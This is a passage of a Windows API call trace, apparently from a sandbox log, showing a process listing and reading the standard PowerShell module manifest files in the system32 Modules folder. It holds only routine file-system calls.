(normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds\\kds.psd1"), fInfoLevelId=0x0, lpFileInformation=0x56a95dc | out: lpFileInformation=0x56a95dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfc97aa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6cfc97aa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6cfc97aa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x209)) returned 1 [0110.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6b8) returned 1 [0110.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0110.030] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0110.030] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0110.030] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a6609c, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e00b8 [0110.030] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a6609c, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.030] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d025724, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1a66c60, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0110.030] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive.psd1", cAlternateFileName="")) returned 1 [0110.031] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19be0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive.psm1", cAlternateFileName="")) returned 1 [0110.031] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19be0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive.psm1", cAlternateFileName="")) returned 0 [0110.031] FindClose (in: hFindFile=0x76e00b8 | out: hFindFile=0x76e00b8) returned 1 [0110.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0110.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0110.031] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0110.031] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0110.031] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", lpFilePart=0x0) returned 0x71 [0110.031] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0110.031] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", lpFilePart=0x0) returned 0x71 [0110.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0110.031] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1"), fInfoLevelId=0x0, lpFileInformation=0x56aa960 | out: lpFileInformation=0x56aa960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9)) returned 1 [0110.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0110.031] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0110.032] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1", lpFilePart=0x0) returned 0x71 [0110.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0110.032] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x994 [0110.032] GetFileType (hFile=0x994) returned 0x1 [0110.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0110.032] GetFileType (hFile=0x994) returned 0x1 [0110.032] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0110.032] ReadFile (in: hFile=0x994, lpBuffer=0x56ab7a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56ab7a4*, lpNumberOfBytesRead=0x843e6cc*=0x1c9, lpOverlapped=0x0) returned 1 [0110.034] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x1c9 [0110.034] ReadFile (in: hFile=0x994, lpBuffer=0x56ab7a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56ab7a4*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0110.034] CloseHandle (hObject=0x994) returned 1 [0110.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0110.035] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0110.035] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0110.035] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67503, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e00b8 [0110.036] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67503, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.036] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fea6b73, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fea6b73, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fea6b73, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0110.036] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fea6b73, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fea6b73, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fea6b73, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics.psd1", cAlternateFileName="")) returned 0 [0110.036] FindClose (in: hFindFile=0x76e00b8 | out: hFindFile=0x76e00b8) returned 1 [0110.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0110.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0110.036] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0110.036] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x7a [0110.036] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x7a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", lpFilePart=0x0) returned 0x79 [0110.036] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x7a [0110.036] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x7a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", lpFilePart=0x0) returned 0x79 [0110.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0110.037] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1"), fInfoLevelId=0x0, lpFileInformation=0x56b0e50 | out: lpFileInformation=0x56b0e50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fea6b73, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fea6b73, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fea6b73, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x289)) returned 1 [0110.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0110.037] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x7a [0110.037] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", nBufferLength=0x7a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1", lpFilePart=0x0) returned 0x79 [0110.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0110.037] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x994 [0110.037] GetFileType (hFile=0x994) returned 0x1 [0110.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0110.037] GetFileType (hFile=0x994) returned 0x1 [0110.037] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0110.037] ReadFile (in: hFile=0x994, lpBuffer=0x56b1ca4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56b1ca4*, lpNumberOfBytesRead=0x843e6cc*=0x289, lpOverlapped=0x0) returned 1 [0110.038] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x289 [0110.038] ReadFile (in: hFile=0x994, lpBuffer=0x56b1ca4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56b1ca4*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0110.038] CloseHandle (hObject=0x994) returned 1 [0110.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0110.039] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0110.039] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0110.039] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67e99, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e00b8 [0110.039] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67e99, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.040] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe34444, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe34444, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host.psd1", cAlternateFileName="")) returned 1 [0110.040] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe34444, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe34444, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host.psd1", cAlternateFileName="")) returned 0 [0110.040] FindClose (in: hFindFile=0x76e00b8 | out: hFindFile=0x76e00b8) returned 1 [0110.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0110.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0110.040] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 [0110.040] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6c [0110.040] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x6c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", lpFilePart=0x0) returned 0x6b [0110.040] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6c [0110.040] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x6c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", lpFilePart=0x0) returned 0x6b [0110.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0110.040] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1"), fInfoLevelId=0x0, lpFileInformation=0x56b7f94 | out: lpFileInformation=0x56b7f94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe34444, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe34444, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d5)) returned 1 [0110.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0110.040] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6c [0110.041] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x6c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", lpFilePart=0x0) returned 0x6b [0110.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0110.041] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x994 [0110.041] GetFileType (hFile=0x994) returned 0x1 [0110.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0110.041] GetFileType (hFile=0x994) returned 0x1 [0110.041] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0110.041] ReadFile (in: hFile=0x994, lpBuffer=0x56b8dd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56b8dd0*, lpNumberOfBytesRead=0x843e6cc*=0x1d5, lpOverlapped=0x0) returned 1 [0110.042] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, 